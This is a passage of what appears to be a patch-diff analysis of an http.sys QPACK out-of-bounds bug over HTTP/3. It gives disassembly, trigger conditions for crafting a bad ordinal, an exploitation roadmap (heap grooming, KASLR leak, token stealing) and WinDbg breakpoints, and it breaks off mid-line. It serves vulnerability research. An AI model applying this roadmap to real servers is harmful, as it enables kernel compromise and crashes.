&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA95&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; result pointer&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA9C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAA7&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAA1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; result-&amp;gt;0x18&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAA5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAC0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; marker set -&amp;gt; mov al,1 (NO bound check)&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CAA7:&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;; full AND no marker: bound check happens here&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAA7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAB7&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2010&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; arg2 bound&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;setbe&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAC2&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CAB7:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; non-arg2 bound&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CABE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAB2&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CAC0:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAC0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; return &amp;quot;usable&amp;quot;&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CAC2:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAC2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CAC6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key observations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mov al, 1&lt;/code&gt; at &lt;code&gt;0x14013CAC0&lt;/code&gt; is reached from two edges: &lt;code&gt;jb&lt;/code&gt; at &lt;code&gt;0x14013CA93&lt;/code&gt; (table not full) and &lt;code&gt;jnz&lt;/code&gt; at &lt;code&gt;0x14013CAA5&lt;/code&gt; (result marker set). On both, the ordinal in &lt;code&gt;r8&lt;/code&gt; is returned "usable" without any &lt;code&gt;cmp&lt;/code&gt; against &lt;code&gt;+0x2010&lt;/code&gt;/&lt;code&gt;+0x2018&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Because arg2 and non-arg2 share this block, the &lt;code&gt;+0x2018&lt;/code&gt; bound check at &lt;code&gt;0x14013CAB7&lt;/code&gt; is only reached when the table is full &lt;strong&gt;and&lt;/strong&gt; the result marker is clear. For the non-arg2 path this is the missing check.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;+0x2010&lt;/code&gt; (arg2) comparison at &lt;code&gt;0x14013CAAB&lt;/code&gt; and the not-full / result-marker shortcuts also exist verbatim in the corrected routine, so the arg2 behavior is unchanged by the patch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Corrected routine (&lt;code&gt;QkIsOrdinalUseableNew&lt;/code&gt;, &lt;code&gt;0x14013CAD0&lt;/code&gt; → made unconditional in patched)&lt;/h3&gt;
&lt;p&gt;The corrected routine tests &lt;code&gt;ordinal &amp;lt;= 0x62&lt;/code&gt; and &lt;code&gt;f_1FE8 == f_1FEC&lt;/code&gt; first, then splits on &lt;code&gt;arg2&lt;/code&gt;. The non-arg2 branch performs the &lt;code&gt;+0x48&lt;/code&gt; / &lt;code&gt;+0x2008&lt;/code&gt; pre-filter and then always executes &lt;code&gt;cmp r8, [rcx+2018h]; setbe al&lt;/code&gt; — there is no path that returns "usable" for a non-arg2 ordinal without this comparison. The arg2 branch keeps the not-full / result-marker shortcuts and the &lt;code&gt;+0x2010&lt;/code&gt; comparison. The patched &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; (&lt;code&gt;0x14013C4E0&lt;/code&gt;) drops the &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; test and is this corrected routine inline.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;This path is only reachable when the KIR flag &lt;code&gt;UxKirHttpBugFix25Q2&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Open an HTTP/3 (QUIC) connection&lt;/strong&gt; to a target running the Windows HTTP Server API backed by &lt;code&gt;http.sys&lt;/code&gt; (e.g., IIS with HTTP/3 enabled, or any application using &lt;code&gt;HttpReceiveHttpRequest&lt;/code&gt; over HTTP/3).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep the QPACK dynamic table non-full, or prime a cached result marker.&lt;/strong&gt; The bypass fires on the non-arg2 lookup path when &lt;code&gt;insert_count&lt;/code&gt; (&lt;code&gt;ctx+0x2038&lt;/code&gt;) &lt;code&gt;&amp;lt;&lt;/code&gt; &lt;code&gt;max_entries&lt;/code&gt; (&lt;code&gt;ctx+0x2030&lt;/code&gt;), i.e. the table still has free capacity, or alternatively when the cached result pointer at &lt;code&gt;ctx+0x2020&lt;/code&gt; is non-null with &lt;code&gt;result-&amp;gt;0x18 != 0&lt;/code&gt;. Either condition makes the routine skip the &lt;code&gt;+0x2018&lt;/code&gt; bound check. (Filling the table to capacity with the marker clear is the one state that &lt;em&gt;does&lt;/em&gt; enforce the check, so it is not the trigger.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Craft a header block referencing an out-of-bounds ordinal on the non-arg2 lookup.&lt;/strong&gt; Reference a dynamic-table entry with an ordinal value &lt;code&gt;N&lt;/code&gt; where:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N &amp;gt; 0x62&lt;/code&gt; (above the static-table range)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N &amp;gt; *(ctx + 0x48)&lt;/code&gt; or &lt;code&gt;N &amp;gt; *(ctx + 0x2008)&lt;/code&gt; (so the routine reaches the shared table path rather than the outright-reject filter)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N &amp;gt; *(ctx + 0x2018)&lt;/code&gt; (exceeds the valid non-arg2 dynamic-table bound that the corrected routine would enforce)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No ordering constraint.&lt;/strong&gt; The insertions and the OOB reference can be in the same or different QUIC streams within the connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; the OOB ordinal is returned "usable" and used as an index into the QPACK dynamic table entry array. Depending on the table's backing allocation, this produces either:&lt;/li&gt;
&lt;li&gt;A kernel pool OOB read (information disclosure or fault if unmapped).&lt;/li&gt;
&lt;li&gt;A kernel pool OOB write if the ordinal flows into a table-update path.&lt;/li&gt;
&lt;li&gt;A BSOD with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; or &lt;code&gt;INVALID_DATA_ACCESS&lt;/code&gt; if the indexed address is unmapped.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The vulnerability provides a &lt;strong&gt;controlled out-of-bounds access&lt;/strong&gt; on a kernel-pool (NonPagedPool) array of QPACK dynamic table entries. The attacker controls:
- The ordinal value (the array index displacement).
- The QPACK context state (by controlling insertions to the dynamic table).&lt;/p&gt;
&lt;p&gt;The displacement is &lt;code&gt;ordinal - valid_max&lt;/code&gt;, multiplied by the size of a dynamic-table entry struct. Since the ordinal is a 64-bit value and only bounded by the attacker, the displacement is essentially &lt;strong&gt;arbitrary&lt;/strong&gt; (limited only by kernel address space and pool allocation layout).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Turning it into a full exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Heap Feng Shui&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Arrange kernel pool objects around the QPACK dynamic table allocation so that a controlled OOB index lands on a known object type (e.g., pipe attributes, named-pipe buffers, or token objects).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Info leak / KASLR bypass&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;An OOB read primitive can leak kernel pointers from adjacent pool objects. Send a QPACK request that triggers the OOB read and observe the response or ETW data for leaked kernel addresses.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Privilege escalation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Combine with an OOB write to corrupt an adjacent object's function pointer or token pointer. The classic approach: overwrite a &lt;code&gt;PIPE_ATTRIBUTE&lt;/code&gt;'s &lt;code&gt;ValueLength&lt;/code&gt; or a worker-item function pointer to redirect execution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Code execution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;If SMEP is active, redirect to a ROP chain or a signed kernel function. Use a stack pivot gadget. If HVCI is active, avoid writable+executable memory; use data-only attacks (token stealing via &lt;code&gt;SE_TOKEN_PRIVILEGES&lt;/code&gt; manipulation).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Mitigation impact:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;KASLR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Must be bypassed first via info leak. The OOB read primitive is suitable for this.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SMEP / SMAP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Affects code-execution strategies but not the OOB primitive itself. Data-only attacks bypass both.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CFG (Control Flow Guard)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Limits indirect call targets. Use non-CFG-protected call sites or data-only corruption.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HVCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prevents writable+executable kernel pages. Token-stealing data-only attacks are unaffected.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pool integrity checks&lt;/strong&gt; (Win 10+)&lt;/td&gt;
&lt;td&gt;Corrupted pool headers trigger BugChecks. The OOB access itself may corrupt headers; use precise offsets or target page-aligned objects.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Target: &lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; OOB Access&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Module base:&lt;/strong&gt; Load &lt;code&gt;http.sys&lt;/code&gt; symbols or use &lt;code&gt;lm http&lt;/code&gt; to get the base.&lt;/p&gt;
&lt;h4&gt;Breakpoints&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Break at the flag check — confirms which path is taken&lt;/span&gt;
&lt;span class="nv"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;QkIsOrdinalUseable&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x8&lt;/span&gt;

&lt;span class="c1"&gt;; Break at the &amp;quot;return usable&amp;quot; store reached without a non-arg2 bound check&lt;/span&gt;
&lt;span class="nv"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;QkIsOrdinalUseable&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x80&lt;/span&gt;

&lt;span class="c1"&gt;; Break at the non-arg2 bound check (only reached when table full and marker clear)&lt;/span&gt;
&lt;span class="nv"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;QkIsOrdinalUseable&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x77&lt;/span&gt;

&lt;span class="c1"&gt;; Break at the callers to see attacker-controlled ordinals&lt;/span&gt;
&lt;span class="nv"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;QkEncodePairControl&lt;/span&gt;
&lt;span class="nv"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;http&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;QkEncodePairData&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;If symbols are unavailable, compute offsets from the module base. The function is at RVA &lt;code&gt;0x13CA40&lt;/code&gt; (i.e., &lt;code&gt;bp http+0x13ca40&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;What to Inspect at Each Breakpoint&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;At &lt;code&gt;QkIsOrdinalUseable+0x4&lt;/code&gt; (flag check):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QPACK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vulnerable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;←&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ATTACKER&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INFLUENCED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;watch&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;dump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;
&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpBugFix25Q2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;l1&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;selects&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OLD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;routine&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;
&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__int64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;@rcx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;0x406&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;+0x2030&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span 